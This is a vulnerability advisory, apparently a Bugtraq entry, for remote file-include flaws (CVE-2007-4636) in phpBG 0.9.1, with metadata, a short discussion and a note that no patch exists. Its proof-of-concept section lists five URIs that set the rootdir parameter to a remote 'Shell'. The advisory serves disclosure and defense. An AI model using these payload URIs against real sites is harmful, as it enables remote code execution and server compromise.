phpBG rootdir Multiple Remote File Include Vulnerabilities

BID:25486

Info

phpBG rootdir Multiple Remote File Include Vulnerabilities

Bugtraq ID: 25486
Class: Input Validation Error
CVE: CVE-2007-4636
Remote: Yes
Local: No
Published: Aug 30 2007 12:00AM
Updated: May 07 2015 05:35PM
Credit: GoLd_M is credited with the discovery of these vulnerabilities.
Vulnerable: phpBG phpBG 0.9.1
Not Vulnerable:

Discussion

phpBG rootdir Multiple Remote File Include Vulnerabilities

phpBG is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

Exploit / POC

phpBG rootdir Multiple Remote File Include Vulnerabilities

An attacker can exploit these issues via a browser.

The following proof-of-concept URIs are available:

http://www.example.com/intern/admin/other/backup.php?admin=1&rootdir=Shell
http://www.example.com/intern/admin/?rootdir=Shell
http://www.example.com/intern/clan/member_add.php?rootdir=Shell
http://www.example.com/intern/config/key_2.php?rootdir=Shell
http://www.example.com/intern/config/forum.php?rootdir=Shell

Solution / Fix

phpBG rootdir Multiple Remote File Include Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for these issues. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

References

phpBG rootdir Multiple Remote File Include Vulnerabilities

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